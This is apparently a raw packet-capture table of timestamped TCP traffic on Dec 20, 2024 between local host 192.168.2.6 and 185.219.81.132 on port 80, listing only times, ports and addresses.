Dec 20, 2024 22:52:36.381284952 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.381361008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.381401062 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.382070065 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.382119894 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.382155895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.382194042 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.382924080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.382977962 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.383008003 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.383049965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.383725882 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.383771896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.383827925 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.383868933 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.384582996 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.384643078 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.384668112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.384708881 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.385409117 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.385457993 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.385521889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.385561943 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.386223078 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.386281967 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.386337996 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.386379004 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.387058973 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.387113094 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.387147903 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.387193918 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.387906075 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.387964010 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.387995005 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.388036013 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.388763905 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.388813019 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.388842106 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.388881922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.389542103 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.389592886 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.389653921 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.389692068 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.390425920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.390469074 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.390501022 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.390542984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.391433001 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.391477108 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.391649008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.391694069 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.454438925 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.454514980 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.454530954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.454559088 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.454737902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.454782009 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.454849958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.454894066 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.455523968 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.455565929 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.455813885 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.455857992 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.455919027 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.455959082 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.456713915 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.456764936 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.456784010 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.456823111 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.457571030 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.457612991 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.457624912 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.457667112 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.458343983 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.458391905 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.458642006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.458684921 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.459191084 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.459235907 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.459295988 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.459335089 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.459958076 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.460000038 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.460062981 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.460099936 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.460824013 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.460867882 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.460973978 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.461039066 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.461684942 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.461728096 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.461802006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.461843967 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.462537050 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.462579966 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.462712049 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.462754011 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.463520050 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.463536024 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.463578939 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.463597059 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.464278936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.464298964 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.464322090 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.464333057 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.465070963 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.465112925 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.465179920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.465224028 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.465987921 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.466031075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.466146946 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.466187954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.466969013 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.467010021 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.467052937 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.467097044 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.467772007 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.467828035 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.467885017 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.467927933 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.468774080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.468813896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.468859911 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.468900919 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.469432116 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.469475985 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.469518900 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.469558954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.470079899 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.470123053 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.470196009 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.470237970 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.470796108 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.470838070 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.470909119 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.470948935 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.471601009 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.471645117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.471712112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.471752882 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.472440958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.472491980 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.472876072 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.472918987 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.473275900 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.473319054 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.473382950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.473423958 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.474080086 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.474118948 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.474190950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.474231958 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.474919081 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.474958897 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.475024939 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.475065947 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.475739002 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.475781918 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.562664032 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.562757015 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.562824011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.562865973 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.563177109 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.563189983 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.563220024 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.563232899 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.563728094 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.563762903 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.563916922 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.563957930 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.564616919 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.564630032 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.564661026 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.564686060 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.565495014 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.565507889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.565538883 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.565552950 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.566296101 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.566343069 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.566482067 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.566524029 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.567229986 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.567241907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.567285061 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.568046093 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.568058014 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.568090916 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.568121910 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.568676949 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.568692923 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.568723917 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.568737984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.568933010 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.568977118 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.569025993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.569066048 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.569766045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.569811106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.569890022 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.569931030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.571661949 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.571721077 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.572765112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.572813034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.573833942 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.573846102 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.573858023 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.573870897 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.573877096 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.573883057 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.573904037 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.573934078 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.574166059 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.574203968 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.574462891 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.574505091 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.574779034 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.574812889 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.575467110 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.575522900 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.575647116 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.575685024 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.576276064 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.576287031 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.576318979 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.576334953 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.576427937 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.576471090 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.576554060 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.576592922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.577241898 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.577285051 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.577351093 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.577392101 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.578088045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.578128099 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.578177929 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.578217030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.578902960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.578943968 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.579046965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.579085112 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.579771996 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.579818964 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.579859972 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.579906940 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.580714941 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.580760956 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.580782890 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.580823898 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.581361055 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.581403017 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.581480980 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.581521988 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.582200050 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.582238913 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.582338095 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.582377911 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.583100080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.583142996 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.583302021 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.583353996 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.646523952 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.646590948 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.646600962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.646641016 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.646883011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.646919966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.646931887 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.646955967 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.647639990 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.647680998 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.647947073 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.647989988 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.648050070 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.648093939 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.648773909 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.648818970 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.648880959 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.648921013 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.649615049 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.649667978 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.649733067 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.649780035 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.650433064 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.650475979 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.650537968 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.650578976 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.651335955 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.651376963 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.651611090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.651648998 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.652209997 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.652252913 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.652327061 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.652365923 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.652945995 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.652986050 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.653074980 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.653114080 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.653765917 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.653808117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.653862953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.653903008 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.654601097 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.654645920 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.654721022 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.654769897 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.655443907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.655487061 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.655534029 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.655575991 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.656249046 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.656291962 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.656359911 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.656399965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.657085896 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.657125950 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.657192945 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.657236099 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.657901049 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.657943010 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.658010960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.658071041 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.658751965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.658799887 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.658833027 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.658874035 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.659596920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.659646034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.659673929 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.659717083 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.660407066 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.660449982 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.660518885 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.660569906 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.661254883 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.661298037 CET	49786	80	192.168.2.6	185.219.81.132
